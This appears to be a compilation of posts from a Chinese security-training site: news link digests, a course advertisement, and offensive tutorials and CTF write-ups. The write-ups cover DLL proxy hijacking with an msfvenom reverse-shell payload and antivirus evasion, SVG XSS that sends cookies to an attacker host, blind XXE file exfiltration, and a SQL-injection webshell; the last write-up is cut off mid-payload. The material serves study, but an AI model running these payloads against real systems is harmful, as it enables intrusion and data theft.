免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、微软11月周二补丁日更新解决了110多个漏洞 https://www.securityweek.com/microsoft-patches-windows-vulnerability-chained-attacks-chrome-bug 2、研究人员披露通过监视CPU功耗来获取加密密钥的侧信道攻击 https://www.securityweek.com/platypus-hackers-can-obtain-crypto-keys-monitoring-cpu-power-consumption 3、Adobe修补了Connect，Reader Mobile中的漏洞 https://www.securityweek.com/adobe-patches-vulnerabilities-connect-reader-mobile 4、580万条RedDoorz用户记录在黑客论坛上出售 https://www.bleepingcomputer.com/news/security/58-million-reddoorz-user-records-for-sale-on-hacking-forum/ 5、CERT-in向印度公司发出有关Egregor的警告 https://www.ciol.com/cert-in-warns-indian-companies-egregor-sweeps-system-organisations-steals-data/ 6、恶意NPM项目窃取浏览器信息和Discord帐户 https://securityaffairs.co/wordpress/110705/hacking/malicious-npm-project-discord-dll.html 7、勒索软件利用虚假的Teams更新来部署Cobalt Strike https://securityaffairs.co/wordpress/110693/malware/fake-microsoft-teams-cobalt-strike.html 8、卡巴斯基发现名为Ghimob的安卓木马可从112中金融APP中窃取数据 https://securityaffairs.co/wordpress/110671/cyber-crime/ghimob-banking-trojan.html 9、英特尔在周二发布了40条安全公告，涉及多个高危漏洞 https://threatpost.com/intel-update-critical-privilege-escalation-bugs/161087/ 10、Ultimate Member插件漏洞影响超过2.5W个WordPress网站 https://securityaffairs.co/wordpress/110717/hacking/wordpress-ultimate-member-flaws.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、EOL Windows源代码泄露使IOT设备易受攻击 https://unit42.paloaltonetworks.com/windows-xp-server-2003-source-code-leak/ 2、攻击者仿冒HMRC的页面对英国公民进行网络诈骗 https://www.bleepingcomputer.com/news/security/hmrc-smishing-tax-scam-targets-uk-banking-customers/ 3、酒店预订平台泄露Booking等在线预订网站的用户数据 https://www.hackread.com/hotel-reservation-platform-data-leak-online-booking-sites/ 4、电子商务软件平台X-Cart在10月底遭受勒索软件攻击 https://securityaffairs.co/wordpress/110623/malware/x-cart-ransomware-attack.html 5、研究人员发现了Linux版本的RansomEXX勒索软件 https://www.zdnet.com/article/linux-version-of-ransomexx-ransomware-discovered/ 6、windows 10，iOS，Chrome等多种产品在天府杯中被攻破 https://thehackernews.com/2020/11/windows-10-ios-chrome-firefox-and.html 7、全球第二笔记本电脑制造商仁宝遭勒索软件攻击 https://securityaffairs.co/wordpress/110638/malware/compal-ransomware-attack.html 8、xHunt黑客利用两个新后门攻击了Microsoft Exchange https://securityaffairs.co/wordpress/110644/apt/xhunt-attackers-hit-microsoft-exchange.html 9、WordPress插件Welcart存在注入漏洞 https://threatpost.com/wordpress_open_to_attacks_welcart_bug/161037 10、Zoom Snooping - 通过视频会议时对方的肩膀移动来侧信道猜测密码 https://sec.today/pulses/c54980db-66c9-4f29-a923-509a8bbcb288/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、勒索软件运营商可能利用最新WebLogic漏洞 https://www.securityweek.com/recent-weblogic-vulnerability-likely-exploited-ransomware-operators 2、朝鲜黑客利用Torisma间谍软件进行攻击 https://thehackernews.com/2020/11/north-korean-hackers-used-torisma.html 3、英国房产商Flagship遭受勒索软件攻击 https://www.theregister.com/2020/11/06/revil_sodinokibi_ransomware_gang_flagship_group_housing/ 4、巴西高等司法法院遭受大规模勒索软件攻击 https://www.hackread.com/ransomware-attack-brazil-top-court-encrypts-backups/ 5、黑客正积极利用Oracle的RCE漏洞部署Cobalt Strike https://www.bleepingcomputer.com/news/security/critical-bug-actively-used-to-deploy-cobalt-strike-on-oracle-servers/ 6、7500个组织的网络访问权限在多个黑客论坛上出售 https://cybernews.com/security/7500-educational-organizations-hacked-access-being-sold-on-russian-hacker-forums/ 7、NETGEAR路由器和WD NAS设备在 Tokyo 2020上被攻破 https://www.securityweek.com/netgear-router-wd-nas-device-hacked-first-day-pwn2own-tokyo-2020 8、与丝绸之路相关的价值10亿美元的比特币被没收 https://www.securityweek.com/us-seizes-1-billion-worth-bitcoin-connected-silk-road 9、勒索软件运营商要求Capcom支付1100万美元 https://www.securityweek.com/hackers-demand-11-million-capcom-after-ransomware-attack 10、Gitpaste-12蠕虫针对Linux服务器和IoT设备 https://threatpost.com/gitpaste-12-worm-linux-servers-iot-devices/161016/

本文涉及知识点：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014051614203800001&pk_campaign=heetian-wemedia（通过本实验的学习掌握特征码免杀技术。） 最近看了一些免杀，这一篇小白文章，大佬绕过。知识按照自己的知识整理和写出来的。 DLL劫持 再Windows 7 版本之后，系统采用了KnowDLLs对DLL进行管理，其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下，在这个下面的DLL文件会被禁止从exe自身所在的目录下调用，而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表，因此就会产生DLL劫持。 使用msfvenom生成的dll直接秒杀。 SharpDllProxy 听名字大概类似于socks代理一样。工具来源自：https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客. 前言 先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数，就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑，创建一个名字一模一样的DataFunction.dll动态链接库，他的功能有两个：①做个快捷键，将所有的功能转发到千真万确的动态链接库DataFunctions.dll，这就是名字中proxy的由来；②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图： 实验过程 目标程序 花费了些时间搞这实验，例如FileZilla软件，怎么去找这个需要加载的dll呢？如作者说的，把该软件拷贝出去就知道他缺什么了。如下： 那就说明运行改应用程序需要加载该DLL文件，那就针对这个DLL做一个假的libnettle-8.dll。 生成shellcode msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin 实验开始 首先下载SharpDllProxy：https://github.com/Flangvik/SharpDllProxy，然后使用visual studio 2019对其进行编译，尽量不要使用其他版本，因为我用了下visual studio 2017各种报错搞了半天没搞出来，也可能环境有问题。 直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案 使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令：.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin 生成的文件包含了一个C文件和一个dll，这个dll文件就是原来的 libnettle-8.dll 文件。 来分析下这个C语言程序，从第9行到494行都是转发DLL的函数，将所有需要运行函数转发原来的DLL，让其进行处理。 到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点，其实还可以直接把shell.bin这个shellcode写入到该文件，就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎，各种免杀姿势用上来，例如换个加载方式，如对shellcode先加密然后解密运行。 使用 VS 编译上面的C文件。文件---》新建---》项目---》动态链接库--》项目名为 libnettle-8。复制上面的C文件代码到VS中编译 将上面的三个文件（tmpD475.dll、libnettle-8.dll、shell.bin），发送到目标系统中。使用msf监听，然后运行程序，就已经返回会话了。 使用最常用的杀毒软件：360、火绒和安全管家都没有被发现。

本文涉及知识点：https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78&pk_campaign=heetian-wemedia（XXE漏洞发生在程序解析XML输入时，没有禁止外部实体的加载，导致可以加载恶意的外部文件，可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习，你将掌握XXE漏洞的原理，学会XXE漏洞利用技术以及防御方法。） 前言 之前在CTF比赛中遇到了一些关于SVG造成的安全问题，多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用，拓展了我的攻击面。 SVG简介 SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式，和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失，并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它，目前主流的浏览器都已经支持SVG图片的渲染。 SVG造成XSS 直奔主题 我们在一张SVG图片里面插入一个JavaScript代码。 <svg xmlns="http://www.w3.org/2000/svg" version="1.1">    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />    <script>alert(1)</script> </svg> 我们用浏览器打开它会发现它会造成XSS。 刨根问底 为什么这样的SVG图片会造成跨站脚本问题呢？这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容，这点和HTML中的DOM类似，或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM，而这种脚本语言就是JavaScript，所以我们在SVG中插入JavaScript脚本是完全能够被解析的。 可以看到在国际的SVG标准中定义了script标签的存在，总之XSS之所以能够执行是因为遵循了svg及xml的标准。 那么假设存在一个能够上传SVG的WEB服务器，并且没有对SVG内容进行严格过滤，这就很有可能造成XSS问题。 CTF中的应用场景 XSSME 题目地址：https://xssrf.hackme.inndy.tw/ 本题是给admin发一封邮件，然后admin会查看你发送的邮件，很明显的xss盗取管理员cookie，但是这里经过fuzz发现过滤了如下字符： <script ) onmouseover 空格onload 空格onerror <iframe 我们这里可以考虑用SVG标签来进行XSS，比如： <svg/onload=alert(1)> 这里我们可以发送到VPS测试一下是否有效 <svg/onload="document.location='http://vps-ip:1234'"> vps成功接收到信息 然后再获取cookie即可 <svg/onload="document.location='http://vps-ip:1234/?'+document.cookie"> Teaser Confidence CTF 2019：Web 50 本题是一道比较经典的利用svg去构造xss的题目，但是由于题目并没有开源，所以没办法复现，这里主要学习他的思路。 根据题目描述，有两个功能，一个是报告BUG，一个是修改个人信息，然后管理员会查看该域名下的某处页面，这里主要是通过xss获取admin页面Secret表单的值来获取flag。 在个人资料页面中，我们可以将头像上传到服务器，服务器将检查此文件是否为有效图像，并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html，然后上传。但是，HTTP内容类型仍为image/png，那么这里有个问题就是如果内容类型为image/png，则将此链接发送给admin不会触发XSS有效负载。 所以这里就可以使用svg作为媒介来构造xss，去获取secret的值，这里直接贴一下payload <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">   ...   <g>     <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>     <script type="text/javascript">       var xhr = new XMLHttpRequest();       xhr.onreadystatechange = function() {         if (xhr.readyState === 4) {           var xhr2 = new XMLHttpRequest();           xhr2.open("POST", "http://xxxx.burpcollaborator.net/");           xhr2.send(xhr.responseText);         }       }         xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");       xhr.withCredentials = true;       xhr.send();     </script>   </g>   ... </svg> 这里使用了burpcollaborator来外带数据，Burp Suite在1.7之后的版本自带了这个功能，获取burpcollaborator的地址如图所示： 最后在Reportbug处提交图片即可获得flag，这里借用一下郁离歌师傅的图。 SVG造成XXE 前面说了SVG是基于XML的矢量图，因此可以支持Entity(实体)功能，因此可以用来XXE。 CTF中的应用场景 这里从两道经典的CTF题目来学习如何XXE并且结合SVG，这里分为有回显和无回显两种情况。 有回显的情况 svgmagic(BsidesSF CTF 2019) github题目源码：传送门 buu平台也有上这道题目 打开页面 打开页面就提示Convert SVG to PNG with Magic 这里我们首先想到的思路就是文件上传那些步骤，一句话木马以及.htaccess等等，但是多次上传利用无果，因为会报一个500的错误，这里的话可以利用SVG配合XXE去读取他的一个文件。 我们直接读取/etc/passwd试一下： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000">   <text x="10" y="20">&file;</text> </svg> 我们把上面这段代码保存为1.svg，并上传。 可以发现成功回显了带有/etc/passwd内容的图片，但是图像太小，无法容纳所有内容，这里我们可以调整他的width宽度，调大一点就可以看到所有的内容了。 还有个问题就是我们并不知道flag的路径，而/proc/self/pwd/代表的是当前路径，可以构造/proc/self/pwd/flag.txt读取文件。 最后payload如下： <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000">   <text x="10" y="20">&file;</text> </svg> 我们保存为2.svg上传，发现成功读取到flag。 无回显的情况 在说这个点之前，我们先来看看普通XXE无回显是如何外带数据的，这里我在本地演示一下： 先在本地PHPStudy写入无回显处理XML的代码 xml.php <?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?> 然后在自己的VPS上放置 xml.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini"> <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>"> 这里有几个需要注意的点： ip换成自己的vps的ip 这里的&#x25;会被xml解析成%，如果直接用%的话我本地会报错。 注意这里使用伪协议读取文件内容，是因为xml解析器支持使用php://filter进行编码，至于为什么要使用伪协议对内容进行一个编码呢，我自己在本地做测试的时候，发现如果文件的内容如果只是简单的字母数字不加伪协议也可以，但是一旦带有换行或者特殊的符号就会爆一个warning invaild url，所以保险起见还是加上，最后对文件内容做一个base64的解码就行。 最后我们POST提交的payload <?xml version="1.0"?> <!DOCTYPE Note [     <!ENTITY % remote SYSTEM "http://ip/xml.dtd">     %remote;     %start;     %send; ]> 这里的ip同样换成自己的vps的ip 下一步在VPS上开启监听1234端口 nc -lvp 1234 然后我们抓xml.php的POST包并发送payload 可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。 我们来梳理一下他的整个调用过程 1.首先我们payload中的% remote去获取vps上的xml.dtd 2.然后xml.dtd中的% start去调用% file 3.% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码 4.最后通过% send将数据发送到vps监听的1234端口上5. 这就是XXE实现外带数据的整个流程，那么这个如何结合SVG呢，这里通过一道我之前打比赛的一道题为例子： svgggggg!(DozerCTF2020) 这道题当时比赛的时候没有做出来，因为当时水平有限，并没有想到svg也是xml格式，可以用来XXE，这道题确实质量可以，学到了很多新的姿势，下面给出我复现的过程。 题目给的两个hint： ▲ 用户r1ck的操作记录在哪儿来着 ▲ 如果你发现了sql注入，直接getshell吧，flag在/app目录里 复现过程如下： 打开网页，有一个框要求输入URL，然后检查URL指向的file是不是svg图片，如果请求的文件不是svg的话就会返回Unauthorized type! 我们先写一个简单的SVG图片源码放在vps上，保存为1.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY file "HELLO"> ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">   <text y="20" font-size="20">&file;</text> </svg> 提交SVG图片源码地址发现实体成功显示，然后我们尝试读取一下用户的history文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY file SYSTEM "file:///home/r1ck/.bash_history"> ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">   <text y="20" font-size="20">&files;</text> </svg> 页面虽然正常返回信息，但是并不能直接读到我们想要的东西，但是无回显，所以这里就可以利用到盲XXE来外带数据了，也就是通过加载外部一个dtd文件，然后把读取结果以HTTP请求的方式发送到自己的VPS。 构造1.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd"> %remote; %start; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">         <text y="20" font-size="20">&lab;</text> </svg> 构造xml.dtd <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>"> 然后我们把1.svg和xml.dtd放到我们的vps上，然后在我们的vps上监听1234端口，再在网页提交1.svg的链接即可成功读取到.bash_history，内容如下： cd /app php -S 0.0.0.0:8080 可以得知在8080端口有另外一个web服务，我们继续利用XXE数据外带读取源码，修改1.svg的一部分内容如下，其余操作一样 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php"> 读取到源码如下： <!doctype html> <html> <head> <meta charset="UTF-8"> <title>index</title> </head> Hi! You Find Me . Flag is nearby. <body> </body> </html> <?php $conn=mysql_connect('127.0.0.1','root',''); mysql_select_db('security'); if ($_GET['id']){     $id = $_GET['id']; } else     $id = 1; $sql = "select * from user where id='$id'"; $result = mysql_query($sql,$conn); $arr = mysql_fetch_assoc($result); print_r($arr); ?> 发现sql注入，没有任何的过滤，直接利用into outfile写个一句话木马，当然这里要注意的是传入的时候要url编码。 http://127.0.0.1:8080/index.php?id=-1%27 union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'# 写完shell之后，继续利用数据外带读取内容，重复上面的步骤即可。 读取文件目录： <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls"> 读取flag： <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php"> 总结 SVG算是一个比较容易让人忽视的点，但是他造成的一些问题却是我们不能够忽视的，在CTF中如果有些题目没有限制SVG这个点的话，我们就可以尝试用他来进行XSS或者XXE，然后在查阅资料的过程，发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案，具体可以参考： https://svg.digi.ninja/ https://github.com/digininja/svg_xss 参考链接 http://yulige.top/?p=665 https://www.rootnetsec.com/bsidessf-svgmagick/ https://www.freebuf.com/vuls/207639.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Maze勒索软件的客户开始利用Egregor作为的替代品 https://www.zdnet.com/article/as-maze-ransomware-group-retires-clients-turn-to-sekhmet-ransomware-spin-off-egregor/ 2、研究人员发现了Windows中的特权提升漏洞 https://www.securityweek.com/games-microsoft-store-can-be-abused-privilege-escalation-windows 3、切萨皮克地区2.3万份医疗保健数据遭到泄露 https://www.wtkr.com/news/chesapeake-regional-healthcare-alerts-over-23k-patients-after-data-security-incident 4、谷歌本周公开了影响GitHub Actions的漏洞详细信息 https://www.securityweek.com/google-discloses-details-github-actions-vulnerability 5、趋势科技修复了IMSA产品中多个漏洞 https://www.securityweek.com/trend-micro-patches-vulnerabilities-interscan-messaging-security-product 6、苹果发布了iOS 14.2，修复了三个被利用的0 day漏洞 https://securityaffairs.co/wordpress/110462/hacking/apple-ios-zero-days.html 7、过去12个月超过1200家公司的VoIP服务器被入侵滥用 https://thehackernews.com/2020/11/premium-rate-phone-fraudsters-hack-voip.html 8、黑客泄露了5.22GB的Mashable数据库 https://www.hackread.com/shinyhunters-hacker-leaks-mashable-database/ 9、Git LFS存在高危漏洞可导致Windows的系统被入侵 https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/ 10、研究人员发现用于数据分析的容器镜像存在大量漏洞 https://www.darkreading.com/application-security/containers-for-data-analysis-are-rife-with-vulnerabilities/d/d-id/1339372

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、著名的玩具制造商美泰披露受到勒索软件攻击 https://www.bleepingcomputer.com/news/security/leading-toy-maker-mattel-hit-by-ransomware/ 2、新的RegretLocker勒索软件针对Windows虚拟机 https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/ 3、谷歌发布了Android操作系统的每月补丁程序 https://www.securityweek.com/google-patches-30-vulnerabilities-november-2020-android-updates 4、黑客团伙利用Solaris的0day漏洞破坏企业网络 https://www.zdnet.com/article/hacker-group-uses-solaris-zero-day-to-breach-corporate-networks/ 5、自动化软件销售商SaltStack修复了三个错误 https://www.theregister.com/2020/11/04/saltstack_security/ 6、VMware修复了严重的VMware ESXi漏洞 https://www.securityweek.com/patch-critical-vmware-esxi-vulnerability-incomplete 7、日本视频游戏公司Capcom受网络攻击 https://securityaffairs.co/wordpress/110423/hacking/capcom-hit-by-cyberattack.html 8、思科披露了Cisco AnyConnect移动客户端0day漏洞及Poc https://securityaffairs.co/wordpress/110414/security/zero-day-cisco-anyconnect-secure-mobility-client.html 9、REvil Ransomware成员买下了信息窃取软件KPot的源代码 https://securityaffairs.co/wordpress/110407/malware/revil-ransomware-kpot-stealer.html 10、Cit0day.in泄露了23,600个被黑数据库 https://www.zdnet.com/article/23600-hacked-databases-have-leaked-from-a-defunct-data-breach-index-site/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Oracle Solaris系统 0day漏洞被利用 https://threatpost.com/oracle-solaris-zero-day-attack/160929/ 2、Adobe修复了Acrobat和Reader中的多个高危漏洞 https://threatpost.com/adobe-windows-macos-critical-acrobat-reader-flaws/160903/ 3、Google修补了多个Chrome高危漏洞 https://www.securityweek.com/google-patches-actively-exploited-chrome-vulnerabilities 4、npm安全团队删除了一个名为“ twilio-npm”的恶意库 https://securityaffairs.co/wordpress/110348/malware/npm-library-backdoor.html 5、FireEye发布了一款用于威胁情报分析的虚拟机 https://www.zdnet.com/article/fireeye-releases-threatpursuit-a-windows-vm-for-threat-intel-analysts/ 6、Ryuk在2020年所有勒索软件攻击中占三分之一 https://www.helpnetsecurity.com/2020/11/03/ryuk-ransomware-2020 7、CERT / CC在Twitter上启用了CVE ID名称生成机器人 https://www.securityweek.com/certcc-seeks-remove-fear-element-named-vulnerabilities 8、2020年公开记录的数据泄露已达360亿条 https://cisomag.eccouncil.org/2020-is-the-worst-year-on-record-in-terms-of-data-breaches-survey 9、Wroba手机银行木马针对美国用户 https://www.scmagazine.com/home/security-news/wroba-mobile-banking-trojan-targets-us-smartphones 10、从第二季度到第三季度Emotet木马攻击激增了1200％以上 https://www.infosecurity-magazine.com/news/ransomware-alert-as-emotet/

黑客入门必修训练营 第七期开学典礼 就在11月3日15:00-15:45 3天直播课全勤到课 即可获得全勤奖现金红包9.9元 学习还能拿钱，这样操作了解一下 01 0基础萌新学习建议 网络安全其实相对来说入门比较友好。圈内搞网络安全的很多都是其他专业转入，看下图你可能更清晰： 怎么入门网络安全 网络安全学习，一般均从Web安全入手，这个学习路径可以参考： Web安全入门学习路径 至于其他的学习资料，你可能已经尝试过在先知社区、CSDN等安全社区寻找文章或视频，最终都会发现：基础入门的资源很多，质量良莠不齐，自学的效率并不高。 而作为一个萌新小白，在学习过程中可能会遇到各种各样奇奇怪怪的情况，基于此，我们开设了一门——3天《黑客入门必修训练营》的课程，本号粉丝限时福利：2人团购仅需2分钱即可报名。 训练营的周期为11月3日-11月5日下午3点到4点，心急的小伙伴可以直接扫码解锁！ 11月3日下午15:00将进行第一节课开学典礼！！！ 只需要2分钱你就能系统学习，收获CSRF漏洞从入门到进阶实战训练+7天高质量社群服务+专业老师答疑+配套靶场实战巩固，还能获取全勤奖现金红包+独家资料大礼包！ 如果你对训练营不太了解，请继续往下看。 02 训练营主要讲什么 本次训练营为期3天，你将在训练营了解到网络安全的行业前景及学习规划、明确今后的学习方向，还能从0基础学习CSRF到进阶学习，具体课程安排如下： 本次课程提供 1.课程永久回放，供你重复观看，可稳固知新 2.配套课程课后靶场作业：学员完成课后靶场作业，老师定时讲解作业重点、难点，确保学员真正掌握所学知识！ 3.答疑服务，高质量的Web安全学习社群，班级群内分享前沿知识，跟一群人行走，你能走得更远 4.全勤奖+独家学习资料包 扫码领取资料及靶场地址 本课程适合想入门渗透测试的同学参加，学习过程中，同学们千万不要放弃，三天按时进行学习，同时学习的过程中要记录图文并茂的笔记，最重要的进行实践，实践，实践，所以课后靶场实战作业一定一定要按时完成。 03 报名训练营小惊喜 除了优质的课程内容，我们还给大家准备了小惊喜——全勤奖励 全勤奖 3天直播课全勤到课，即可获得全勤奖，全勤奖奖励为现金红包9.9元，学习还能拿钱，快来参与吧，名额不限哟！除此之外，报名训练营，我们还提供独家资料包。 福利！ 如果你已报名本次课程，想要更多的网络安全学习工具及学习资料，扫描下方二维码后发送报名截图并回复【安全学习】领取。（希望领取了资料的同学们，能把资料真正的用起来，而不是直接打入冷宫！） 同时，如果你想看看自己适不适合入门网络安全，也可以扫描二维码，我们有一套完整的测试体系可以帮助你。 扫码领取学习资料 2分钱 = 掌握网络安全行业前景 + 网络安全学习路径 + CSRF漏洞0基础到精通 + 全勤奖（9.9元现金红包） + 网络安全独家工具及资料包

本文涉及知识点：https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114390500001&pk_campaign=heetian-wemedia（介绍SQL注入原理并解释了简单判断一个参数是否存在注入的原理，能够利用简单的SQL注入获取其他敏感数据。） 前言 最近没什么事，于是报名了某众测，填了资料主办方给了个靶场要考核，这里分享一下靶场考核中的解题过程，一共十道题目，难度也不算太难，但也有一些题没做出来，最后也是顺利的通过了考核。 前戏 首先考核要答一些选择题和判断题，没什么好说的，主办方要求连了vpn没法上外网，但是都是一些基础的网络安全问题，随便答答就过了，接下来就是靶场的题目了。 靶场题目 第一题 WeSec微信公众号 提示：用IPAD手机的2G网络上网 很明显改改UA头就行了，直接搜一下UA头，替换上去。 改UA头 GET /mp_weixin_qq_com.php HTTP/1.1 Host: 119.3.225.8:41064 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://119.3.225.8:41064/index.html Upgrade-Insecure-Requests: 1 返回 mozhe64d25d173bdbae7366b76e0798a 第二题 易学车智能考试系统 扫目录发现/admin 爆破弱口令admin和admin888登录后台，发现后台是一个保存文件的功能，这里可以直接读取备份文件bak_wwwroot.zip的源码，关键代码如下： <input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:         <input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>         <input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">         <input name="myaction" type="hidden" id="myaction" value="dozip">         <input type="submit" name="Submit"  class="sub" value=" 开始备份"> function createfile(){                     $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .                         pack('v', $this -> file_count) .                         pack('v', $this -> file_count) .                         pack('V', $this -> dirstr_len) .                         pack('V', $this -> datastr_len) .                         "\x00\x00";                     fwrite($this->fp,$this->dirstr.$endstr);                     fclose($this->fp);                 }             } if(is_array($_REQUEST[dfile])){                 $faisunZIP = new PHPzip;                 if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){                     echo "正在添加备份文件...<br><br>";                     $filenum = 0;                     foreach($_REQUEST[dfile] as $file){                         if(is_file($file)){                             echo "文件: $file<br>";                         }else{                             echo "目录: $file<br>";                         }                         $filenum += listfiles($file);                     }                     $faisunZIP -> createfile();                     echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";                 }else{                     echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";                 }             }else{                 echo "没有选择的文件或目录.<br>";             }         endif;         ?> 审计代码，这里的dfile参数任何的过滤，尝试修改一下dfile的值，惊喜的发现可以读取任意文件，并写入bak_wwwroot.zip，下载bak_wwwroot.zip就可以读取了。 dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD 虽然知道可以读取任意文件，但是不知道key是放在哪个地方，于是这里又卡了一下，但是转头一想，这里是写一个文件名并压缩进文件里面，老CTFer都知道做msic的时候，文件名会写入压缩包里面，于是写一个一句话木马，并把bak_wwwroot.zip改为bak_wwwroot.php试一下，没想到成功了。 dfile[]=/<?php 